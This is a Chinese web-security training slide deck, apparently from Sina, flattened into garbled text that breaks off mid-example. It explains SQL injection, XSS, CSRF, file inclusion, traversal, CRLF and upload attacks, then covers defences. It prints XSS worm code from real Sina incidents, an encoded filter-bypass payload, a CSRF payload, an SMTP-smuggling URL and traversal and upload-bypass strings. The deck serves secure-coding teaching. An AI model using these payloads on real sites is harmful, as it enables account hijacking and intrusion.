1、内容简介1.知己知彼,百战不殆2.解析黑客手中的利器3.捍卫代码城堡4.剑走偏锋5.惊栗后的深思6.双剑合壁,新浪WEB安全培训 ver.2,互联网攻击趋势(统计来自 computer.org),脚本安全编程重要性,脚本安全编程重要性,1.知己知彼,百战不殆,传统攻击流程,WEB攻击流程,WEB攻击流程,2.解析黑客手中的利器,黑客攻击技术曝光,一、脚本黑客的瑞士军刀-SQL注入攻击1.猜解出数据库中的敏感信息2.如果连接权限高的话会得到文件操作权限(load_file,into outfile)3.根据数据库特性执行系统命令,SQL注入利用的是参数传递的时候过滤不严时用参数组合成正确的SQL
2、语句来执行操作的技术。简单的理解为:涉及进入SQL语句操作的变量没有过滤输入与转义输出实例-夜猫软件下载系统(攻击与修复)http:/10.210.128.58/ymdown/show.php?id=1,黑客攻击技术曝光,黑客攻击技术曝光,二、暗夜中舞动的精灵-XSS跨站脚本攻击1.进行会话劫持2.CSRF3.XSS WORM4.社会工程攻击、钓鱼、拒绝服务5.涂鸦页面,XSS又叫CSS(Cross Site Script),跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码(恶意JS代码),当用户浏览该页之时,嵌入其中Web里面的html代码(恶意JS代码)会被执行,从而达到
3、恶意用户的特殊目的。输入一些数据需要在页面中显示出来,但是没有对这段数据做过滤输入或者转义输出。,黑客攻击技术曝光,xss特点继承浏览器权限社会工程,被动攻击影响广泛(只要浏览器支持JavaScript)隐蔽,难以察觉XSS可能出现在哪?1.HTML标签外部2.HTML标签内部(属性、事件)3.输入到javascript代码,黑客攻击技术曝光,黑客攻击技术曝光,WEB安全新挑战-XSS WORM两段真实的XSS WROM统计数据,百度XSS蠕虫攻击统计,黑客攻击技术曝光,新浪博客 v5.0 蠕虫var blogtitle=I OwNed youR BloGvar blogbody=YourE
4、mY fOOd.蠕虫传播主体,不要构造这里var xmlhttp=new ActiveXObject(Msxml2.XMLHTTP.3.0);xmlhttp.open(GET,/admin/article/article_add.php,false);xmlhttp.send();var xss=xmlhttp.responseText;token=xss.indexOf(vtoken);if(token0)vtoken=xss.substr(token+15,32);xmlhttp.open(post,/admin/article/article_post.php,false);xmlhtt
5、p.setRequestHeader(Content-Type,application/x-www-form-urlencoded);xmlhttp.send(album=,黑客攻击技术曝光,新浪空间 好友纸条群发蠕虫-获取cookie中的uid-cookie=unescape(request(cookie)cflag=Instr(cookie,nick=)dflag=Instr(cookie,);)省略.-遍历好友数-for i=1 to 500-得到此uid的好友-url=http:/&uid&page=&i&pagesize=1xml.open GET,url,Falsexml.send
6、htmlcon=b2bstr(xml.responsebody)-提取好友uid-aflag=Instr(htmlcon,record:uid:)bflag=InStr(htmlcon,ftype)If aflag 0 And bflag 0 Thenokflag=Replace(Replace(mid(htmlcon,aflag,bflag),record:uid:,),)Else-超过最大好友数就中断-exit forEnd If-playload-Response.Write“next,黑客攻击技术曝光,永无止境的斗争-XSS过滤,黑客攻击技术曝光,新浪圈子-Html标签内部进攻,黑客攻
7、击技术曝光,仔细分析该处也进行了敏感字符的过滤,比如javascript,TAB字元,“)等,但是经过测试发现这种过滤非常容易绕过,例如:JaVaScrIpT:eval(unescape(xmlhttp%3Dnew%20ActiveXObject%28%22Msxml2.XMLHTTP.3.0%22%29%3Bxmlhttp.open%28%22GET%22%2C%22/g33k/bbs/topic/tid%3D13037271%22%2Cfalse%29%3Bxmlhttp.send%28%29%3Balert%28xmlhttp.responseText%29%3B);,黑客攻击技术曝光,
8、被污染的页面代码:aaa,黑客攻击技术曝光,新浪VIP邮箱CSRF攻击,黑客攻击技术曝光,代码分析javascript:eval(unescape(xmlhttp=new ActiveXObject(Msxml2.XMLHTTP.3.0);xmlhttp.open(GET,/classic/setforward.php?optype=1,黑客攻击技术曝光,黑客攻击技术曝光,XSS重组攻击先进后执行/*/(hi);/*/alert/*/*,黑客攻击技术曝光,三、千里之堤,毁于蚁穴-PHP文件包含漏洞服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可去包含一个
9、恶意文件,而我们可以构造这个恶意文件来达到攻击的目的。,黑客攻击技术曝光,常见的攻击手法1.包含本地任意文件(读取、执行)2.包含远程任意文件(执行)3.直接执行系统命令(php:/input)本地包含&远程包含,黑客攻击技术曝光,文件包含$file=$_GETfile;include($file);include(/config/.$file);路径包含$path=$_GETpath;include($path./config.php);,黑客攻击技术曝光,黑客攻击技术曝光,黑客攻击技术曝光,四、一切尽在不言中-目录遍历1.查看当前以及其他目录结构与其文件2.危害目的由不正当使用的函数决定3
10、.危害升级,CRLF注入。,Vuln Code:$fp=fopen($url,r);fpassthru($fp);,黑客攻击技术曝光,四又1/2、文件名操作函数引发的血案CRLFPHP 的 fopen(),file()及其它函数存在一个缺陷,即用户随意地添加额外HTTP报头信息到HTTP请求数据包中。攻击者可以利用此缺陷绕过服务器的安全限制,进行非法访问。在某些情况下,这个缺陷甚至可以打开任意的网络连接,在代理端执行PHP脚本和打开邮件转发。,黑客攻击技术曝光,doc.php?url=http%3A%2F%2F%3A25%2F+HTTP/1.0%0D%0AHELO+%0D%0AMAIL+FRO
11、M%3A%3C%3E%0D%0ARCPT+TO%3A%3C%3E%0D%0ADATA%0D%0ACRLF+is+here%0D%0A.%0D%0AQUIT%0D%0A%0D%0Aurl=http:/:25/+HTTP/1.0HELO+MAIL+FROM:RCPT+TO:DATACRLF+is+here.QUIT,黑客攻击技术曝光,GET/HTTP/1.0HELO MAIL FROM:RCPT TO:DATACRLF is here.QUITHTTP/1.0Host:25,黑客攻击技术曝光,Warning:fopen(http:/RCPT TO:DATA CRLF is here.QUIT)fu
12、nction.fopen:failed to open stream:HTTP request failed!220 staff-Server ESMTP(Sun Java System Messaging Server 6.2-3.04(built Jul 15 2005)in/opt/lampp/htdocs/doc.php on line 3虽然测试由于一些原因失败,但是已经证明了攻击的存在性,黑客攻击技术曝光,黑客攻击技术曝光,五、飞向光明之巅-文件上传攻击1.直接获取webshell2.WEB系统瞬间沦陷,直接威胁服务器安全,黑客攻击技术曝光,恶意PHP文件上传方法1.精心构造后缀(
13、php3,PhP,php.)2.构造文件类型 Content-Type3.截断程序流程(shell.php%00.jpg)4.服务器解析缺陷(test.php.rar),黑客攻击技术曝光,黑客攻击技术曝光,危险的本地JS检查function isAllowedAttach(sFile)var sUploadImagesExt=.jpg.gif.png;var sExt=sFile.match(/.*$/);if(sExt)sExt=sExt0.toLowerCase();else if(!isAllowedAttach(file)show_error(上传图片格式不正确,upinfo);ret
14、urn false;,黑客攻击技术曝光,六、没有硝烟的战争-黑客攻击的艺术1.淘金(html,js注释,备份文件,服务器报错信息)2.猜测文件与目录3.其他人留下的漏洞4.社会工程5.0day6.,真的这么简单吗?在保证代码安全的前提下还要有风险对抗意识。如果攻击者已经得逞,如何将损失、数据泄露、权限流失保证到最低限度。,黑客攻击技术曝光,3.捍卫代码城堡,捍卫代码城堡,代码安全的本质-恶意数据来自哪里?1.显示变量输入$_GET$_POST$_COOKIE$_SESSION$_SERVER.,2.隐式输入来自于数据库来自于配置文件来自于缓存文件.,捍卫代码城堡,捍卫代码城堡,什么是敏感字符?
15、SQL注入:id=1 and 1=1 id=1 and 1=2 union select 1,2,3.XSS:alert()“img src=#onerror=javascriptInclude:vuln.php?path=./././etc/passwd vuln.php?path=http:/xxx/s.jpg%3f,捍卫代码城堡,由此可见,敏感字符没有固定的形式与样子,取决于黑客攻击的目标的特性.对于SQL注入,过滤单引号(字符型),整形处理(数字型),与一些常用SQL关键字(select,update,and,or.),那将对SQL注入技术给予致命的打击!过滤,那么对于防范html标签
16、外的XSS攻击可以说是彻底的。,捍卫代码城堡,SQL注入过滤方法常用变量字符替换函数str_replace()字符转义函数addslashes()常用数字判断函数is_numeric(),is_int().,捍卫代码城堡,XSS跨站攻击解决方法XSS是输出到页面的内容,如果仍然过滤会打乱用户无意提交的敏感字符组成的文章,所以这里推荐转义HTML转义函数:htmlentities(),htmlspecialchars()会把转义成,这样显示的内容不变,而且恶意标签已经失去意义,捍卫代码城堡,但是!切记!XSS没有我们想象的简单,XSS不仅仅存在与html中,它可能存在与CSS中,错误的HTTP头中,cookies中,Flash中,甚至是一张图片中.,捍卫代码城堡,捍卫代码城堡,Its a Good idea局限法select name,pass from user where uid=$id;看上面的例子,将用户的输入局限在一对单引号或者双引号中,然后过滤掉单引号和双引号,防止用户截断,捍卫代码城堡,当然,WEB安全也不仅仅是过滤,严谨的逻辑思维更重要,看一个案例新浪房产:POST/yh
copyright@ 2008-2022 冰豆网网站版权所有
经营许可证编号:鄂ICP备2022015515号-1